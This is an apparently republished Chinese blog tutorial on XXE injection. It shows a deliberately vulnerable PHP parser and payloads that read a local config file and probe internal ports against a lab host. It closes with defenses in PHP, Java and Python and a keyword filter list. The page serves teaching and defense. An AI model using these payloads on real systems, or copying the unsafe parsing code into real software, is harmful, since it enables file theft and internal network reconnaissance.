zoukankan      html  css  js  c++  java
  • 渗透之路基础 -- XXE注入漏洞

    XXE漏洞

    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

    类似于文件包含漏洞--通过加载XML文件并调用配置文件,来实现注入

    造成漏洞的代码:

    <?php
    $xml=$_GET['x'];
    $data=simplexml_load_file($xml);
    var_dump($data);
    ?>
    

    simplexml_load_file php解析外部实体须在 php << 5.5.38

    文件任意读取

    读取 file.xml 代码如下:

    <?xml version = "1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
        <!ENTITY file SYSTEM "file:///c:/config.ini">
    ]>
    <x>&file;</x>
    <!-- 引用外部实体 -->
    

    访问 http://192.168.80.128/test/xml/test.php?x=file.xml

    端口扫描

    读取 port.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root[
    	<!ELEMENT name ANY >
        <!ENTITY xxe SYSTEM "http://127.0.0.1:80">
    ]>
    <root>
    <name>&xxe;</name>
    </root>
    

    访问 http://192.168.80.128/test/xml/test.php?x=port.xml

    没有报错,说明端口存在并且开放

    如果将端口改为不存在的端口 180

    访问 http://192.168.80.128/test/xml/test.php?x=port.xml

    某CTF题

    http://web.jarvisoj.com:9882/

    • 返回信息为 json 格式

    • 然后 burp抓包分析

    • 尝试xml注入,抓包重发

    XML后门的利用

    php动态创建xml,植入后门

    防御XXE攻击

    使用开发语言提供禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);
    

    JAVA:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    

    Python:

    from lxml import etree
    
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM 和 PUBLIC。

    不允许XML中包含有自己定义的DTD

    https://www.cnblogs.com/miyeah/p/4526088.html

    外部引入DTD文件

    编写XML注入代码

    访问 http://192.168.80.128/test/xml/test.php?x=xxe-dtd.xml

    可以读取出文件信息达到文件读取利用

  • 相关阅读:
    <原创>engine中地块的自动编号函数
    <原创>获取窗口上RadioButton的Tag值
    <原创>SQLServer一个高效的存储过程
    ArcEngine中放大、缩小、移动等功能实现的方法
    sublime No packages available for installation
    特殊字符,英文,中文排序
    关于 js中replace 特殊符号 ‘.’ 的问题
    12.3日电话面试
    electron 打包后node_modules 体积过于庞大
    git 本地同步分支数,删除远程已经删除掉的多余分支
  • 原文地址:https://www.cnblogs.com/r0ckysec/p/11532013.html
Copyright © 2011-2022 走看看